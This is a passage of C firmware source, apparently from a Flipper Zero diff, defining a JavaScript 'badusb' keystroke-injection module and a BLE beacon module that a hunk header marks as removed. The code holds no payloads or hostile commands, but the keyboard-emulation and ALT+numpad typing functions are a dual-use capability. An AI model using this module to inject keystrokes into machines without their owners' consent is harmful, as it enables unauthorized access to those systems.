{"SPACE", HID_KEYBOARD_SPACEBAR},
|
||||
{"TAB", HID_KEYBOARD_TAB},
|
||||
{"MENU", HID_KEYBOARD_APPLICATION},
|
||||
|
||||
{"F1", HID_KEYBOARD_F1},
|
||||
{"F2", HID_KEYBOARD_F2},
|
||||
{"F3", HID_KEYBOARD_F3},
|
||||
{"F4", HID_KEYBOARD_F4},
|
||||
{"F5", HID_KEYBOARD_F5},
|
||||
{"F6", HID_KEYBOARD_F6},
|
||||
{"F7", HID_KEYBOARD_F7},
|
||||
{"F8", HID_KEYBOARD_F8},
|
||||
{"F9", HID_KEYBOARD_F9},
|
||||
{"F10", HID_KEYBOARD_F10},
|
||||
{"F11", HID_KEYBOARD_F11},
|
||||
{"F12", HID_KEYBOARD_F12},
|
||||
{"F13", HID_KEYBOARD_F13},
|
||||
{"F14", HID_KEYBOARD_F14},
|
||||
{"F15", HID_KEYBOARD_F15},
|
||||
{"F16", HID_KEYBOARD_F16},
|
||||
{"F17", HID_KEYBOARD_F17},
|
||||
{"F18", HID_KEYBOARD_F18},
|
||||
{"F19", HID_KEYBOARD_F19},
|
||||
{"F20", HID_KEYBOARD_F20},
|
||||
{"F21", HID_KEYBOARD_F21},
|
||||
{"F22", HID_KEYBOARD_F22},
|
||||
{"F23", HID_KEYBOARD_F23},
|
||||
{"F24", HID_KEYBOARD_F24},
|
||||
|
||||
{"NUM0", HID_KEYPAD_0},
|
||||
{"NUM1", HID_KEYPAD_1},
|
||||
{"NUM2", HID_KEYPAD_2},
|
||||
{"NUM3", HID_KEYPAD_3},
|
||||
{"NUM4", HID_KEYPAD_4},
|
||||
{"NUM5", HID_KEYPAD_5},
|
||||
{"NUM6", HID_KEYPAD_6},
|
||||
{"NUM7", HID_KEYPAD_7},
|
||||
{"NUM8", HID_KEYPAD_8},
|
||||
{"NUM9", HID_KEYPAD_9},
|
||||
};
|
||||
|
||||
static void js_badusb_quit_free(JsBadusbInst* badusb) {
|
||||
if(badusb->usb_if_prev) {
|
||||
furi_hal_hid_kb_release_all();
|
||||
furi_check(furi_hal_usb_set_config(badusb->usb_if_prev, NULL));
|
||||
badusb->usb_if_prev = NULL;
|
||||
}
|
||||
if(badusb->hid_cfg) {
|
||||
free(badusb->hid_cfg);
|
||||
badusb->hid_cfg = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
static bool setup_parse_params(
|
||||
JsBadusbInst* badusb,
|
||||
struct mjs* mjs,
|
||||
mjs_val_t arg,
|
||||
FuriHalUsbHidConfig* hid_cfg) {
|
||||
if(!mjs_is_object(arg)) {
|
||||
return false;
|
||||
}
|
||||
mjs_val_t vid_obj = mjs_get(mjs, arg, "vid", ~0);
|
||||
mjs_val_t pid_obj = mjs_get(mjs, arg, "pid", ~0);
|
||||
mjs_val_t mfr_obj = mjs_get(mjs, arg, "mfrName", ~0);
|
||||
mjs_val_t prod_obj = mjs_get(mjs, arg, "prodName", ~0);
|
||||
mjs_val_t layout_obj = mjs_get(mjs, arg, "layoutPath", ~0);
|
||||
|
||||
if(mjs_is_number(vid_obj) && mjs_is_number(pid_obj)) {
|
||||
hid_cfg->vid = mjs_get_int32(mjs, vid_obj);
|
||||
hid_cfg->pid = mjs_get_int32(mjs, pid_obj);
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
|
||||
if(mjs_is_string(mfr_obj)) {
|
||||
size_t str_len = 0;
|
||||
const char* str_temp = mjs_get_string(mjs, &mfr_obj, &str_len);
|
||||
if((str_len == 0) || (str_temp == NULL)) {
|
||||
return false;
|
||||
}
|
||||
strlcpy(hid_cfg->manuf, str_temp, sizeof(hid_cfg->manuf));
|
||||
}
|
||||
|
||||
if(mjs_is_string(prod_obj)) {
|
||||
size_t str_len = 0;
|
||||
const char* str_temp = mjs_get_string(mjs, &prod_obj, &str_len);
|
||||
if((str_len == 0) || (str_temp == NULL)) {
|
||||
return false;
|
||||
}
|
||||
strlcpy(hid_cfg->product, str_temp, sizeof(hid_cfg->product));
|
||||
}
|
||||
|
||||
if(mjs_is_string(layout_obj)) {
|
||||
size_t str_len = 0;
|
||||
const char* str_temp = mjs_get_string(mjs, &layout_obj, &str_len);
|
||||
if((str_len == 0) || (str_temp == NULL)) {
|
||||
return false;
|
||||
}
|
||||
File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
|
||||
bool layout_loaded = storage_file_open(file, str_temp, FSAM_READ, FSOM_OPEN_EXISTING) &&
|
||||
storage_file_read(file, badusb->layout, sizeof(badusb->layout)) ==
|
||||
sizeof(badusb->layout);
|
||||
storage_file_free(file);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
if(!layout_loaded) {
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
memcpy(badusb->layout, hid_asciimap, MIN(sizeof(hid_asciimap), sizeof(badusb->layout)));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void js_badusb_setup(struct mjs* mjs) {
|
||||
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
|
||||
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
|
||||
furi_assert(badusb);
|
||||
|
||||
if(badusb->usb_if_prev) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is already started");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
|
||||
bool args_correct = false;
|
||||
size_t num_args = mjs_nargs(mjs);
|
||||
if(num_args == 0) {
|
||||
// No arguments: start USB HID with default settings
|
||||
args_correct = true;
|
||||
} else if(num_args == 1) {
|
||||
badusb->hid_cfg = malloc(sizeof(FuriHalUsbHidConfig));
|
||||
// Parse argument object
|
||||
args_correct = setup_parse_params(badusb, mjs, mjs_arg(mjs, 0), badusb->hid_cfg);
|
||||
}
|
||||
if(!args_correct) {
|
||||
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
|
||||
badusb->usb_if_prev = furi_hal_usb_get_config();
|
||||
|
||||
furi_hal_usb_unlock();
|
||||
furi_hal_usb_set_config(&usb_hid, badusb->hid_cfg);
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_badusb_quit(struct mjs* mjs) {
|
||||
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
|
||||
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
|
||||
furi_assert(badusb);
|
||||
|
||||
if(badusb->usb_if_prev == NULL) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
|
||||
js_badusb_quit_free(badusb);
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_badusb_is_connected(struct mjs* mjs) {
|
||||
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
|
||||
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
|
||||
furi_assert(badusb);
|
||||
|
||||
if(badusb->usb_if_prev == NULL) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
|
||||
bool is_connected = furi_hal_hid_is_connected();
|
||||
mjs_return(mjs, mjs_mk_boolean(mjs, is_connected));
|
||||
}
|
||||
|
||||
uint16_t get_keycode_by_name(JsBadusbInst* badusb, const char* key_name, size_t name_len) {
|
||||
if(name_len == 1) { // Single char
|
||||
return (ASCII_TO_KEY(badusb->layout, key_name[0]));
|
||||
}
|
||||
|
||||
for(size_t i = 0; i < COUNT_OF(key_codes); i++) {
|
||||
size_t key_cmd_len = strlen(key_codes[i].name);
|
||||
if(key_cmd_len != name_len) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if(strncmp(key_name, key_codes[i].name, name_len) == 0) {
|
||||
return key_codes[i].code;
|
||||
}
|
||||
}
|
||||
|
||||
return HID_KEYBOARD_NONE;
|
||||
}
|
||||
|
||||
static bool parse_keycode(JsBadusbInst* badusb, struct mjs* mjs, size_t nargs, uint16_t* keycode) {
|
||||
uint16_t key_tmp = 0;
|
||||
for(size_t i = 0; i < nargs; i++) {
|
||||
mjs_val_t arg = mjs_arg(mjs, i);
|
||||
if(mjs_is_string(arg)) {
|
||||
size_t name_len = 0;
|
||||
const char* key_name = mjs_get_string(mjs, &arg, &name_len);
|
||||
if((key_name == NULL) || (name_len == 0)) {
|
||||
// String error
|
||||
return false;
|
||||
}
|
||||
uint16_t str_key = get_keycode_by_name(badusb, key_name, name_len);
|
||||
if(str_key == HID_KEYBOARD_NONE) {
|
||||
// Unknown key code
|
||||
return false;
|
||||
}
|
||||
if((str_key & 0xFF) && (key_tmp & 0xFF)) {
|
||||
// Main key is already defined
|
||||
return false;
|
||||
}
|
||||
key_tmp |= str_key;
|
||||
} else if(mjs_is_number(arg)) {
|
||||
uint32_t keycode_number = (uint32_t)mjs_get_int32(mjs, arg);
|
||||
if(((key_tmp & 0xFF) != 0) || (keycode_number > 0xFF)) {
|
||||
return false;
|
||||
}
|
||||
key_tmp |= keycode_number & 0xFF;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
*keycode = key_tmp;
|
||||
return true;
|
||||
}
|
||||
|
||||
static void js_badusb_press(struct mjs* mjs) {
|
||||
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
|
||||
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
|
||||
furi_assert(badusb);
|
||||
if(badusb->usb_if_prev == NULL) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
|
||||
bool args_correct = false;
|
||||
uint16_t keycode = HID_KEYBOARD_NONE;
|
||||
size_t num_args = mjs_nargs(mjs);
|
||||
if(num_args > 0) {
|
||||
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
|
||||
}
|
||||
if(!args_correct) {
|
||||
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
furi_hal_hid_kb_press(keycode);
|
||||
furi_hal_hid_kb_release(keycode);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_badusb_hold(struct mjs* mjs) {
|
||||
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
|
||||
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
|
||||
furi_assert(badusb);
|
||||
if(badusb->usb_if_prev == NULL) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
|
||||
bool args_correct = false;
|
||||
uint16_t keycode = HID_KEYBOARD_NONE;
|
||||
size_t num_args = mjs_nargs(mjs);
|
||||
if(num_args > 0) {
|
||||
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
|
||||
}
|
||||
if(!args_correct) {
|
||||
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
if(keycode & 0xFF) {
|
||||
badusb->key_hold_cnt++;
|
||||
if(badusb->key_hold_cnt > (HID_KB_MAX_KEYS - 1)) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "Too many keys are hold");
|
||||
furi_hal_hid_kb_release_all();
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
}
|
||||
furi_hal_hid_kb_press(keycode);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_badusb_release(struct mjs* mjs) {
|
||||
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
|
||||
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
|
||||
furi_assert(badusb);
|
||||
if(badusb->usb_if_prev == NULL) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
|
||||
bool args_correct = false;
|
||||
uint16_t keycode = HID_KEYBOARD_NONE;
|
||||
size_t num_args = mjs_nargs(mjs);
|
||||
if(num_args == 0) {
|
||||
furi_hal_hid_kb_release_all();
|
||||
badusb->key_hold_cnt = 0;
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
} else {
|
||||
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
|
||||
}
|
||||
if(!args_correct) {
|
||||
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
if((keycode & 0xFF) && (badusb->key_hold_cnt > 0)) {
|
||||
badusb->key_hold_cnt--;
|
||||
}
|
||||
furi_hal_hid_kb_release(keycode);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
// Make sure NUMLOCK is enabled for altchar
|
||||
static void ducky_numlock_on() {
|
||||
if((furi_hal_hid_get_led_state() & HID_KB_LED_NUM) == 0) {
|
||||
furi_hal_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK);
|
||||
furi_hal_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK);
|
||||
}
|
||||
}
|
||||
|
||||
// Simulate pressing a character using ALT+Numpad ASCII code
|
||||
static void ducky_altchar(JsBadusbInst* badusb, const char* ascii_code) {
|
||||
// Hold the ALT key
|
||||
furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT);
|
||||
|
||||
// Press the corresponding numpad key for each digit of the ASCII code
|
||||
for(size_t i = 0; ascii_code[i] != '\0'; i++) {
|
||||
char digitChar[5] = {'N', 'U', 'M', ascii_code[i], '\0'}; // Construct the numpad key name
|
||||
uint16_t numpad_keycode = get_keycode_by_name(badusb, digitChar, strlen(digitChar));
|
||||
if(numpad_keycode == HID_KEYBOARD_NONE) {
|
||||
continue; // Skip if keycode not found
|
||||
}
|
||||
furi_hal_hid_kb_press(numpad_keycode);
|
||||
furi_hal_hid_kb_release(numpad_keycode);
|
||||
}
|
||||
|
||||
// Release the ALT key
|
||||
furi_hal_hid_kb_release(KEY_MOD_LEFT_ALT);
|
||||
}
|
||||
|
||||
static void badusb_print(struct mjs* mjs, bool ln, bool alt) {
|
||||
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
|
||||
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
|
||||
furi_assert(badusb);
|
||||
if(badusb->usb_if_prev == NULL) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
bool args_correct = false;
|
||||
const char* text_str = NULL;
|
||||
size_t text_len = 0;
|
||||
uint32_t delay_val = 0;
|
||||
do {
|
||||
mjs_val_t obj_string = MJS_UNDEFINED;
|
||||
size_t num_args = mjs_nargs(mjs);
|
||||
if(num_args == 1) {
|
||||
obj_string = mjs_arg(mjs, 0);
|
||||
} else if(num_args == 2) {
|
||||
obj_string = mjs_arg(mjs, 0);
|
||||
mjs_val_t obj_delay = mjs_arg(mjs, 1);
|
||||
if(!mjs_is_number(obj_delay)) {
|
||||
break;
|
||||
}
|
||||
delay_val = (uint32_t)mjs_get_int32(mjs, obj_delay);
|
||||
if(delay_val > 60000) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!mjs_is_string(obj_string)) {
|
||||
break;
|
||||
}
|
||||
text_str = mjs_get_string(mjs, &obj_string, &text_len);
|
||||
if((text_str == NULL) || (text_len == 0)) {
|
||||
break;
|
||||
}
|
||||
args_correct = true;
|
||||
} while(0);
|
||||
|
||||
if(!args_correct) {
|
||||
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
|
||||
if(alt) {
|
||||
ducky_numlock_on();
|
||||
}
|
||||
for(size_t i = 0; i < text_len; i++) {
|
||||
if(alt) {
|
||||
// Convert character to ascii numeric value
|
||||
char ascii_str[4];
|
||||
snprintf(ascii_str, sizeof(ascii_str), "%u", (uint8_t)text_str[i]);
|
||||
ducky_altchar(badusb, ascii_str);
|
||||
} else {
|
||||
uint16_t keycode = ASCII_TO_KEY(badusb->layout, text_str[i]);
|
||||
furi_hal_hid_kb_press(keycode);
|
||||
furi_hal_hid_kb_release(keycode);
|
||||
}
|
||||
if(delay_val > 0) {
|
||||
bool need_exit = js_delay_with_flags(mjs, delay_val);
|
||||
if(need_exit) {
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(ln) {
|
||||
furi_hal_hid_kb_press(HID_KEYBOARD_RETURN);
|
||||
furi_hal_hid_kb_release(HID_KEYBOARD_RETURN);
|
||||
}
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_badusb_print(struct mjs* mjs) {
|
||||
badusb_print(mjs, false, false);
|
||||
}
|
||||
|
||||
static void js_badusb_println(struct mjs* mjs) {
|
||||
badusb_print(mjs, true, false);
|
||||
}
|
||||
|
||||
static void js_badusb_alt_print(struct mjs* mjs) {
|
||||
badusb_print(mjs, false, true);
|
||||
}
|
||||
|
||||
static void js_badusb_alt_println(struct mjs* mjs) {
|
||||
badusb_print(mjs, true, true);
|
||||
}
|
||||
|
||||
static void* js_badusb_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
|
||||
UNUSED(modules);
|
||||
JsBadusbInst* badusb = malloc(sizeof(JsBadusbInst));
|
||||
mjs_val_t badusb_obj = mjs_mk_object(mjs);
|
||||
mjs_set(mjs, badusb_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, badusb));
|
||||
mjs_set(mjs, badusb_obj, "setup", ~0, MJS_MK_FN(js_badusb_setup));
|
||||
mjs_set(mjs, badusb_obj, "quit", ~0, MJS_MK_FN(js_badusb_quit));
|
||||
mjs_set(mjs, badusb_obj, "isConnected", ~0, MJS_MK_FN(js_badusb_is_connected));
|
||||
mjs_set(mjs, badusb_obj, "press", ~0, MJS_MK_FN(js_badusb_press));
|
||||
mjs_set(mjs, badusb_obj, "hold", ~0, MJS_MK_FN(js_badusb_hold));
|
||||
mjs_set(mjs, badusb_obj, "release", ~0, MJS_MK_FN(js_badusb_release));
|
||||
mjs_set(mjs, badusb_obj, "print", ~0, MJS_MK_FN(js_badusb_print));
|
||||
mjs_set(mjs, badusb_obj, "println", ~0, MJS_MK_FN(js_badusb_println));
|
||||
mjs_set(mjs, badusb_obj, "altPrint", ~0, MJS_MK_FN(js_badusb_alt_print));
|
||||
mjs_set(mjs, badusb_obj, "altPrintln", ~0, MJS_MK_FN(js_badusb_alt_println));
|
||||
*object = badusb_obj;
|
||||
return badusb;
|
||||
}
|
||||
|
||||
static void js_badusb_destroy(void* inst) {
|
||||
JsBadusbInst* badusb = inst;
|
||||
js_badusb_quit_free(badusb);
|
||||
free(badusb);
|
||||
}
|
||||
|
||||
static const JsModuleDescriptor js_badusb_desc = {
|
||||
"badusb",
|
||||
js_badusb_create,
|
||||
js_badusb_destroy,
|
||||
NULL,
|
||||
};
|
||||
|
||||
static const FlipperAppPluginDescriptor plugin_descriptor = {
|
||||
.appid = PLUGIN_APP_ID,
|
||||
.ep_api_version = PLUGIN_API_VERSION,
|
||||
.entry_point = &js_badusb_desc,
|
||||
};
|
||||
|
||||
const FlipperAppPluginDescriptor* js_badusb_ep(void) {
|
||||
return &plugin_descriptor;
|
||||
}
|
||||
@@ -1,246 +0,0 @@
|
||||
#include "../js_modules.h"
|
||||
#include <furi_hal_bt.h>
|
||||
#include <extra_beacon.h>
|
||||
|
||||
typedef struct {
|
||||
bool saved_prev_cfg;
|
||||
bool prev_cfg_set;
|
||||
GapExtraBeaconConfig prev_cfg;
|
||||
|
||||
bool saved_prev_data;
|
||||
uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
|
||||
uint8_t prev_data_len;
|
||||
|
||||
bool saved_prev_active;
|
||||
bool prev_active;
|
||||
|
||||
bool keep_alive;
|
||||
} JsBlebeaconInst;
|
||||
|
||||
static JsBlebeaconInst* get_this_ctx(struct mjs* mjs) {
|
||||
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
|
||||
JsBlebeaconInst* blebeacon = mjs_get_ptr(mjs, obj_inst);
|
||||
furi_assert(blebeacon);
|
||||
return blebeacon;
|
||||
}
|
||||
|
||||
static void ret_bad_args(struct mjs* mjs, const char* error) {
|
||||
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "%s", error);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void ret_int_err(struct mjs* mjs, const char* error) {
|
||||
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "%s", error);
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static bool check_arg_count(struct mjs* mjs, size_t count) {
|
||||
size_t num_args = mjs_nargs(mjs);
|
||||
if(num_args != count) {
|
||||
ret_bad_args(mjs, "Wrong argument count");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void js_blebeacon_is_active(struct mjs* mjs) {
|
||||
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
|
||||
if(!check_arg_count(mjs, 0)) return;
|
||||
UNUSED(blebeacon);
|
||||
|
||||
mjs_return(mjs, mjs_mk_boolean(mjs, furi_hal_bt_extra_beacon_is_active()));
|
||||
}
|
||||
|
||||
static void js_blebeacon_set_config(struct mjs* mjs) {
|
||||
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
|
||||
if(mjs_nargs(mjs) < 1 || mjs_nargs(mjs) > 4) {
|
||||
ret_bad_args(mjs, "Wrong argument count");
|
||||
return;
|
||||
}
|
||||
|
||||
char* mac = NULL;
|
||||
size_t mac_len = 0;
|
||||
mjs_val_t mac_arg = mjs_arg(mjs, 0);
|
||||
if(mjs_is_typed_array(mac_arg)) {
|
||||
if(mjs_is_data_view(mac_arg)) {
|
||||
mac_arg = mjs_dataview_get_buf(mjs, mac_arg);
|
||||
}
|
||||
mac = mjs_array_buf_get_ptr(mjs, mac_arg, &mac_len);
|
||||
}
|
||||
if(!mac || mac_len != EXTRA_BEACON_MAC_ADDR_SIZE) {
|
||||
ret_bad_args(mjs, "Wrong MAC address");
|
||||
return;
|
||||
}
|
||||
|
||||
uint8_t power = GapAdvPowerLevel_0dBm;
|
||||
mjs_val_t power_arg = mjs_arg(mjs, 1);
|
||||
if(mjs_is_number(power_arg)) {
|
||||
power = mjs_get_int32(mjs, power_arg);
|
||||
}
|
||||
power = CLAMP(power, GapAdvPowerLevel_6dBm, GapAdvPowerLevel_Neg40dBm);
|
||||
|
||||
uint8_t intv_min = 50;
|
||||
mjs_val_t intv_min_arg = mjs_arg(mjs, 2);
|
||||
if(mjs_is_number(intv_min_arg)) {
|
||||
intv_min = mjs_get_int32(mjs, intv_min_arg);
|
||||
}
|
||||
intv_min = MAX(intv_min, 20);
|
||||
|
||||
uint8_t intv_max = 150;
|
||||
mjs_val_t intv_max_arg = mjs_arg(mjs, 3);
|
||||
if(mjs_is_number(intv_max_arg)) {
|
||||
intv_max = mjs_get_int32(mjs, intv_max_arg);
|
||||
}
|
||||
intv_max = MAX(intv_max, intv_min);
|
||||
|
||||
GapExtraBeaconConfig config = {
|
||||
.min_adv_interval_ms = intv_min,
|
||||
.max_adv_interval_ms = intv_max,
|
||||
.adv_channel_map = GapAdvChannelMapAll,
|
||||
.adv_power_level = power,
|
||||
.address_type = GapAddressTypePublic,
|
||||
};
|
||||
memcpy(config.address, (uint8_t*)mac, sizeof(config.address));
|
||||
|
||||
if(!blebeacon->saved_prev_cfg) {
|
||||
blebeacon->saved_prev_cfg = true;
|
||||
const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
|
||||
if(prev_cfg_ptr) {
|
||||
blebeacon->prev_cfg_set = true;
|
||||
memcpy(&blebeacon->prev_cfg, prev_cfg_ptr, sizeof(blebeacon->prev_cfg));
|
||||
} else {
|
||||
blebeacon->prev_cfg_set = false;
|
||||
}
|
||||
}
|
||||
if(!furi_hal_bt_extra_beacon_set_config(&config)) {
|
||||
ret_int_err(mjs, "Failed setting beacon config");
|
||||
return;
|
||||
}
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_blebeacon_set_data(struct mjs* mjs) {
|
||||
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
|
||||
if(!check_arg_count(mjs, 1)) return;
|
||||
|
||||
char* data = NULL;
|
||||
size_t data_len = 0;
|
||||
mjs_val_t data_arg = mjs_arg(mjs, 0);
|
||||
if(mjs_is_typed_array(data_arg)) {
|
||||
if(mjs_is_data_view(data_arg)) {
|
||||
data_arg = mjs_dataview_get_buf(mjs, data_arg);
|
||||
}
|
||||
data = mjs_array_buf_get_ptr(mjs, data_arg, &data_len);
|
||||
}
|
||||
if(!data) {
|
||||
ret_bad_args(mjs, "Data must be a Uint8Array");
|
||||
return;
|
||||
}
|
||||
|
||||
if(!blebeacon->saved_prev_data) {
|
||||
blebeacon->saved_prev_data = true;
|
||||
blebeacon->prev_data_len = furi_hal_bt_extra_beacon_get_data(blebeacon->prev_data);
|
||||
}
|
||||
if(!furi_hal_bt_extra_beacon_set_data((uint8_t*)data, data_len)) {
|
||||
ret_int_err(mjs, "Failed setting beacon data");
|
||||
return;
|
||||
}
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_blebeacon_start(struct mjs* mjs) {
|
||||
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
|
||||
if(!check_arg_count(mjs, 0)) return;
|
||||
|
||||
if(!blebeacon->saved_prev_active) {
|
||||
blebeacon->saved_prev_active = true;
|
||||
blebeacon->prev_active = furi_hal_bt_extra_beacon_is_active();
|
||||
}
|
||||
if(!furi_hal_bt_extra_beacon_start()) {
|
||||
ret_int_err(mjs, "Failed starting beacon");
|
||||
return;
|
||||
}
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_blebeacon_stop(struct mjs* mjs) {
|
||||
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
|
||||
if(!check_arg_count(mjs, 0)) return;
|
||||
UNUSED(blebeacon);
|
||||
|
||||
if(!blebeacon->saved_prev_active) {
|
||||
blebeacon->saved_prev_active = true;
|
||||
blebeacon->prev_active = furi_hal_bt_extra_beacon_is_active();
|
||||
}
|
||||
if(!furi_hal_bt_extra_beacon_stop()) {
|
||||
ret_int_err(mjs, "Failed stopping beacon");
|
||||
return;
|
||||
}
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void js_blebeacon_keep_alive(struct mjs* mjs) {
|
||||
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
|
||||
if(!check_arg_count(mjs, 1)) return;
|
||||
|
||||
mjs_val_t bool_obj = mjs_arg(mjs, 0);
|
||||
blebeacon->keep_alive = mjs_get_bool(mjs, bool_obj);
|
||||
|
||||
mjs_return(mjs, MJS_UNDEFINED);
|
||||
}
|
||||
|
||||
static void* js_blebeacon_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
|
||||
UNUSED(modules);
|
||||
JsBlebeaconInst* blebeacon = malloc(sizeof(JsBlebeaconInst));
|
||||
mjs_val_t blebeacon_obj = mjs_mk_object(mjs);
|
||||
mjs_set(mjs, blebeacon_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, blebeacon));
|
||||
mjs_set(mjs, blebeacon_obj, "isActive", ~0, MJS_MK_FN(js_blebeacon_is_active));
|
||||
mjs_set(mjs, blebeacon_obj, "setConfig", ~0, MJS_MK_FN(js_blebeacon_set_config));
|
||||
mjs_set(mjs, blebeacon_obj, "setData", ~0, MJS_MK_FN(js_blebeacon_set_data));
|
||||
mjs_set(mjs, blebeacon_obj, "start", ~0, MJS_MK_FN(js_blebeacon_start));
|
||||
mjs_set(mjs, blebeacon_obj, "stop", ~0, MJS_MK_FN(js_blebeacon_stop));
|
||||
mjs_set(mjs, blebeacon_obj, "keepAlive", ~0, MJS_MK_FN(js_blebeacon_keep_alive));
|
||||
*object = blebeacon_obj;
|
||||
return blebeacon;
|
||||
}
|
||||
|
||||
static void js_blebeacon_destroy(void* inst) {
|
||||
JsBlebeaconInst* blebeacon = inst;
|
||||
if(!blebeacon->keep_alive) {
|
||||
if(furi_hal_bt_extra_beacon_is_active()) {
|
||||
furi_check(furi_hal_bt_extra_beacon_stop());
|
||||
}
|
||||
if(blebeacon->saved_prev_cfg && blebeacon->prev_cfg_set) {
|
||||
furi_check(furi_hal_bt_extra_beacon_set_config(&blebeacon->prev_cfg));
|
